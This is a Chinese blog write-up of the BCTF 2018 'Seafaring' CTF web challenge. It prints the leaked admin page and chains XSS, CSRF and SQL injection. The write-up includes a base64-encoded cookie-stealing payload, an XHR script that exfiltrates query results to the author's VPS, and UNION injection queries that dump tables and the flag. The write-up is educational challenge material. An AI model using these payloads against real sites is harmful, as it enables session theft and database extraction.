2018 XCTF-BCTF SEAFARING

11月打了几场线下,回来就做了做 BCTF 的题,无奈自己水平不够,题目质量也很高,做了半天还是没摸到什么门路,前端太差。

看一下 BCTF 的 Web 解题情况就了解了题的难度2333:

image.png

由于各种事情加上摸鱼摸了一段时间,现在才来复现一下 BCTF 的题,小西师傅出的题有丶难,要好好学下前端了…

SEAFARING 这两道题,小西师傅的出题分享及 docker:http://momomoxiaoxi.com/ctf/2018/12/01/BCTF2018seafaring/

题目还在小西的服务器上开着,地址:http://ctf.momomoxiaoxi.com:9999

SEAFARING1

做这个题的时候开始一直以为留言处有 xss,发现过滤了很多东西,发现了 /admin/handle_message.php 不会利用,太菜了。

其实留言处有个 bot,会访问指定的地址。而 robots.txt 中 /admin/handle_message.php泄露了一些 api:

admin/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<!DOCTYPE html>
<html>
<head>
<title>Home</title>
<!-- for-mobile-apps -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Seafaring Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false);
function hideURLbar(){ window.scrollTo(0,1); } </script>
<!-- //for-mobile-apps -->
<link href="../css/bootstrap.css" rel="stylesheet" type="text/css" media="all" />
<link href="../css/style.css" rel="stylesheet" type="text/css" media="all" />
<!-- js -->
<script src="../js/jquery-1.11.1.min.js"></script>
<!-- //js -->
<!-- FlexSlider -->
<link rel="stylesheet" href="../css/flexslider.css" type="text/css" media="screen" />
<script defer src="../js/jquery.flexslider.js"></script>
<script>var csrf_token = "ed8aa8fdd1ca7988655509779e0ab120";</script>
<script type="text/javascript">
$(window).load(function(){
$('.flexslider').flexslider({
animation: "slide",
start: function(slider){
$('body').removeClass('loading');
}
});
});
</script>
<script>
function view_uid(uid) {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_uid", "uid": uid},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var Status = '';
$('#timestamp').text(data['timestamp']);
$('#username').text(data['user_name']);
$('#message').text(data['message']);
document.getElementById("replyuid").value=data['uid'];
if (parseInt(data['is_checked']) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
document.getElementById("status").innerHTML = Status;
}
else
alert('Error: ' + data["error"]);
}
});
}
function view_unreads() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_unreads", "status": 0},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}

function set_reply() {
var uid = document.getElementById("replyuid").value;
var reply = document.getElementById("replymessage").value;
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "set_reply", "uid": uid, "reply": reply},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
alert('Succ: ' + data);
}
else
alert('Error: ' + data["error"]);
}
});
}
function load_all() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "load_all"},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}
setTimeout(load_all, 1000);
</script>
</head>
<body>
<!-- header -->
<div class="header">
<div class="logo">
<a href="./index.php">Seafaring <span>A Travel Agency</span></a>
</div>
<div class="logo-right">
<ul>
<li>gml</li>
<li><a href="./logout.php">Exit</a></li>
</ul>
</div>
<div class="clearfix"> </div>
</div>
<div class="header-nav">
<div class="container">
<nav class="navbar navbar-default">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>

<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse nav-wil" id="bs-example-navbar-collapse-1">
<nav class="cl-effect-1">
<ul class="nav navbar-nav">
<li class="active"><a href="./index.php" >Home</a></li>
<li class="active"><a href="../contact.php" >Contact</a></li>
</ul>
</nav>
</div><!-- /.navbar-collapse -->
</nav>
</div>
</div>

<script>alert('Sorry, You aren\'t admin :)');location.href='../index.php';</script>

/admin/handle_message.php直接将 post 的 token 输出了:

image.png

猜想这里有 xss, /被转义了,尝试弹框:

image.png

可以通过 xss+csrf 的方式打 cookie,在自己 vps 上放一段自动请求/admin/handle_message.php的代码,带上管理员的 cookie,就可以打到管理员的 cookie。

在自己的 vps 上放一个 gml.html:

1
2
3
4
5
6
<form method="post" action="http://ctf.momomoxiaoxi.com:9999/admin/handle_message.php">
<input name="token" value="<img src=x onerror=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly8qKioqOjIzMzMvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>

这里采用了 @zzm 师傅的方式,采用 base64 编码,小西师傅出题笔记里用的是 String.fromCharCode 。

contact.php 里让 bot 访问自己 vps 上的 gml.html,同时监听 2333 端口:

image.png

可以打到管理员的 cookie。

进了管理员后台,发现 contact.php里有个 web2 的提示:

image.png

显然 web1 应该还有别的东西。

开始的时候我们发现泄露的 api 里,有一个 status 参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function view_unreads() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_unreads", "status": 0},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}

这里 status 处存在注入,我们 post 正确的 token ,发现只有服务器本地可以交互:

image.png

所以要 xss+csrf 获取内容,而每次要 post 正确的 token,所以要写个 js 来请求页面获得正确的 token 并提交。

payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
var aa = new XMLHttpRequest();
aa.open('GET', 'http://ctf.momomoxiaoxi.com:9999/contact.php', false);
aa.send();
bb = aa.responseText;
token = bb.match(/csrf_token = "(\w+)"/)[1];

var a = new XMLHttpRequest();
a.open('POST', 'http://ctf.momomoxiaoxi.com:9999/admin/handle_message.php', false);
a.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
a.send("token="+token+"&action=view_unreads&status=-1 order by 3#");
b = a.responseText;
location.href = 'http://vps:2333/?token='+token+'&content=' + escape(b);
</script>

把这段 base64 编码,放入 gml.html 中:

1
2
3
4
5
6
<form method="post" action="http://ctf.momomoxiaoxi.com:9999/admin/handle_message.php">
<input name="token" value="<img src=x onerror=document.write(atob('base64(payload)'))>">
</form>
<script>
document.forms[0].submit();
</script>

让 bot 访问,打回来的信息:

image.png

1
token=53fa3bf04f6342ed2bbad38c3ce08af6&content={"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks  where is_checked=-1 order by 3# ORDER BY id DESC limit 0,50"}

把报错信息都给出来了,看数据库:

1
status=-1 union select 1,database(),3,4#

返回:

1
?token=71824ddc687a213d91b0376c81aa0dae&content={"result":[["1","bctf2018","3","4"]],"error":""}

看表:

1
status=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=database()

返回:

1
token=9914988256d8169f0d3d4bd4b3e45285&content={"result":[["1","admin","3","4"],["1","f111111ag","3","4"],["1","feedbacks","3","4"]],"error":""}

查 flag:

1
status=-1 union select *,2,3,4 from f111111ag#

返回:

image.png

1
/?token=8be48bdbe1c914d11532f9bd4b6a192d&content={"result":[["bctf{XsS_SQL1_7438x_2xfccmk}","2","3","4"]],"error":""}

bctf{XsS_SQL1_7438x_2xfccmk}

-------------本文结束感谢您的阅读-------------
0%